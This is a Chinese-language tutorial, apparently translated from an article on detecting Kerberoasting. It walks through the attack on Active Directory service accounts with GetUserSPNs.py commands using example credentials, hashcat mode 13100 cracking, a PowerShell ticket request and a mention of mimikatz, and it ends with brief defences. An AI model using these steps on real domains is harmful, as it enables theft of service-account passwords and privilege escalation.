kerberoasting攻击
kerberoasting攻击
原文地址为: Detecting Kerberoasting Activity
简要说明
当我们通过破解或者社工有了一个活动目录域内的正常用户的时候,我们就可以尝试这样的攻击。举个例子,在test.com域内有一个我们已经知晓的账户名为user1,密码为12345的账户。我们就可以尝试setspn的命令获取域内的服务账户的信息。
假设我们获得了服务账户为service1,spn是mssqlsvc/test.com:1433,我们就可以使用下面的方式进行尝试获取TGS,然后进行线下破解。
破解出来的密码,就是service1的密码。
下面就可以用service1这个账户进行后续的操作。
kali中已经包含了对应的攻击脚本:
- 获取当前域中的SPN信息
GetUserSPNs.py test.com/user1:123456
- 请求TGS
GetUserSPNs.py test.com/user1:123456 -request
- 将输出的TGS加密信息存入info.txt文件
- 利用hashcat 获取其中TGS-REP的信息。
hashcat -h |grep 'Kerberos'
- 假设获取到的TGS-REP的其实位置是13100.
hashcat -m 13100 info.txt words.txt
-
等待破解,破解成功后会显示信息。
kerberoasting用来对活动目录中的服务账户进行攻击。
一般来说在不那么严谨的环境下,服务账户的密码几乎不进行修改,而且长度也和普通用户的密码长度大致一样,而且服务账户一般会永久或者长期持有,如果服务账户被攻破了,那么就相当于在活动目录域内有了个可以自由移动的特权账户。
kerberos验证过程
上面是账户在活动目录域内的验证过程。
- 用户的密码转化为NTLM 哈希,然后将当前的时间戳加密,将这个哈希和加密的时间戳发送给KDC用于获取TGT
- KDC检查用户的信息,包括登录限制,组成员信息等,然后创建一个TGT(ticket-granting ticket)
- 这个TGT是加密并进行了签名,然后发回给用户。在整个域中,只有kerveros service(krgtgt)才能打开和读取这个TGT的数据
- 当用户需要请求一个TGS(ticket granting service)ticket的时候,他需要将这个TGT给DC进行检查。DC打开TGT并且验证其中的PAC校验和是否正确,如果可以打开,并且校验和正确,那么DC就认为这个TGT是正确无误的。然后将TGT内的数据信息拷贝到TGS ticket里面
- TGS通过目标机器的服务账户的NTLM 密码哈希进行加密,然后发回给用户
- 用户连接到要访问的目标机器的对应的端口后,向目标机器展示TGS的信息,目标机器的服务利用其自身的NTLM密码的哈希打开TGS ticket
- 服务接收所有TGS ticket的数据,不需要和DC再进行通讯
攻击步骤
- 对域内的服务账户进行扫描
- 在活动目录中,任何已经验证的用户都可以查询SPN
- 攻击者往往对于有特权服务账户非常感兴趣,如果一个账户属性里面包含“AdminCount=1”,那就是了
- 查询命令 ```powershell get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate
Get-NetUser -AdminCount | Select name,whencreated,pwdlastset,lastlogon
通过上面获取到的信息,就可以确定服务账户了。
还有就是可以参考下面的信息来确认服务账户的类型:
1. AGPMServer: 对GPO有完全管理权限
2. MSSQL/MSSQLSvc:对MS SQL server有管理权限
3. FIMService:对多个活动目录森林有管理权限
4. STS:是VMware SSO服务
- 开始攻击
目的是获取一个针对目标服务账户的SPN的TGS即可。
需要做的是,用一个当前正常可用的域用户的TGT来请求目标服务器上面的目标服务的服务票据。
域控制器查询活动目录内的SPN,然后用服务账户的NTLM密码的哈希来加密这个服务票据,加密的方式是RC4_HMAC_MD5。
1. 获取TGS
```powershell
$SPNName='MSSQLSvc/adsmsDB01.adsecurity.org:1433'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
- 使用mimikatz从内存中获取票据
- 暴力破解
使用john the ripper或者hash cat 或者kali里面的tgsrepcrack进行破解获取明文密码
防御措施
在Windows服务器的操作系统中,已经有了一些针对服务账户的保护措施。比如使用服务组账户,这个账户是默认30天会自行变更的,不会像普通的账户那样,密码长期不变,而且整个的变更过程都是活动目录系统自行完成的,不需要人的参与。
还有就是要求普通客户端进行AD验证的时候不允许RC4这样的加密算法,而统一要求AES这样的加密算法,比如不允许使用SMB1这样的协议来连接文件服务。